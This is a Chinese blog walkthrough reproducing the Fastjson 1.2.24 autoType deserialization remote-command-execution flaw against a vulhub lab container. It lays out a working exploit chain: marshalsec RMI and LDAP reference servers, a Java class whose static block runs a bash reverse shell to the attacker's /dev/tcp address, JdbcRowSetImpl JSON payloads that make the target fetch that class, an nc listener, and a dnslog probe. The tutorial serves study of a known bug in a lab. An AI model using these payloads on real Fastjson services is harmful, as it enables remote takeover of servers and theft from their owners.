【vulhub】Fastjson1.2.24反序列化导致任意命令执行漏洞复现

2025-01-09 3 0

fastjson 简介

阿里巴巴开源的 json 解析库,基于 java 编写。用于在 java 和 json 数据之间进行转换,它提供了一种简单而高效的方式来序列化 java 对象为 json 格式字符串,也可以将 json 字符串转换为 java 对象。fastjson 可以操作各种类型 java 对象,即使是一些预先存在但没有源码的对象,使用比较广泛。

漏洞原理

目标网站在解析 json 时存在自动类型转换功能(autoType),未对 json 内容进行验证,直接将 json 解析成 java 对象并执行,攻击者构造对应的 payload,让系统执行,就能达到代码执行,甚至命令执行的目的。

官方解释为:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

影响版本

受影响版本范围:fastjson<=1.2.24

漏洞环境

靶机:vulhub_centos7(192.168.237.190)

运行测试环境

cd vulhub/fastjson/1.2.24-rce
docker-compose up -d

查看运行的容器

docker ps

环境运行后,访问 http://192.168.237.190:8090 即可看到 json 格式的输出

漏洞复现

攻击机:kali2024.2(192.168.237.174)

java 版本为 8u202

漏洞验证

使用 curl 命令发送一个 post 请求,即可更新服务端信息

curl http://192.168.237.190:8090/ -H "Content-Type: application/json" --data '{"name":"hahaha", "age":20}'

可以看到 name 和 age 都变为我们提交的请求值,成功返回了 json 格式的请求结果,没有报错

可以说明存在该漏洞

也可以 burp 抓包检测

将 GET 请求改为 POST,Content-Type 字段改为application/json,添加请求参数

{"name":"hahaha", "age":20}

发送请求,可以看到返回包里的 name 和 age 和我们的请求值一致

漏洞利用

安装 maven

下载地址(这两个链接都可)

https://maven.apache.org/download.cgi

https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/

wget https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz  

下载完成先创建 mvn 文件夹

mkdir -p /usr/local/apache-maven
cp apache-maven-3.6.3-bin.tar.gz /usr/local/apache-maven
cd /usr/local/apache-maven/
tar -xzvf apache-maven-3.6.3-bin.tar.gz
update-alternatives --install /usr/bin/mvn mvn /usr/local/apache-maven/apache-maven-3.6.3/bin/mvn 1
update-alternatives --config mvn

添加全局变量

vim /etc/profile
JAVA_HOME=/usr/local/apache-maven/apache-maven-3.6.3
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
MAVEN_OPTS="-Xms256m -Xmx512m"
export JAVA_HOME
export PATH
export MAVEN_OPTS

刷新配置,使文件生效

source /etc/profile
exit

查看 mvn 版本

mvn -version

可以看到 mvn 环境已经安装成功

安装反序列化工具 marshalsec

下载地址:

https://github.com/mbechler/marshalsec

克隆文件

git clone https://github.com/mbechler/marshalsec.git

进入 marshalsec 项目文件夹里,用 maven 环境执行如下命令进行编译,编译成功会生成一个 target 目录

mvn clean package -DskipTests

可以看到 target 目录已生成

在 target 目录下会生成 marshalsec-0.0.3-SNAPSHOT-all.jar 文件

本地写一个 test.java,内容如下

// javac test.java
import java.lang.Runtime;
import java.lang.Process;
 
public class test {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/test666"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译生成 test.class 文件

javac test.java

然后在当前目录用 python 开一个 http 服务

python -m http.server 6688

这个时候需要启动一个 rmi 服务器,将这个 rmi 服务器在本地监听,如果有人远程调用 test 方法,就会访问 python 共享的 test.class

构建 rmi 服务器需要 marshalsec-0.0.3--SHOT-all.jar ,也就是用 mvn 编译生成的文件,也可以直接下载

https://github.com/RandomRobbieBF/marshalsec-jar

开启 rmi 服务

cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.237.174:6688/#test" 6655

上述中#后面加上test.class的名称 test 即可,后面的端口号为 6655,需要使用fastjson漏洞调用远程请求监听的 rmi 服务器

最后一步需要构造payload,如下,手动抓包时注意,需要将 GET 更改为POST,将Content-Type改为application/json

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.237.174:6655/test",
        "autoCommit":true
    }
}

响应包返回 500,进入服务器查看是否生成文件 test666

docker exec -it d6403 /bin/bash

成功生成文件

反弹 shell,修改文件内容

// javac shell.java
import java.lang.Runtime;
import java.lang.Process;
 
public class shell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.237.174/2233 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译.java 文件,生成.class 文件

javac shell.java

然后重复上述操作

开启 rmi 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.237.174:6688/#shell" 6655

构造 payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.237.174:6655/shell",
        "autoCommit":true
    }
}

监听反弹语句中的端口

nc -lvvp 2233

成功反弹 shell

查看共享

执行命令

ip addr
whoami

上述为基于 rmi 的利用方式

那么基于 ldap 应该如何利用

开启 ldap 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.237.174:6688/#shell" 6677

构造 payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.237.174:6677/shell",
        "autoCommit":true
    }
}

监听反弹 shell 中的端口

nc -lvvp 2233

查看共享

ldap 利用也可以打 dns

修改 payload

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://srgw1c.dnslog.cn",
        "autoCommit":true
    }
}

查看 dnslog 记录

参考链接:

https://www.freebuf.com/vuls/208339.html


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

文件包含漏洞从入门到精通
2025年,这些网安“传奇产品”都凉了?
JAVA安全 | 初探反射反序列化
2024年软件系统安全赛攻防赛web题CachedVisitor题解
企业防线的薄弱环节:深入了解供应链网络攻击的风险
震惊!?DLP还能这样用

发布评论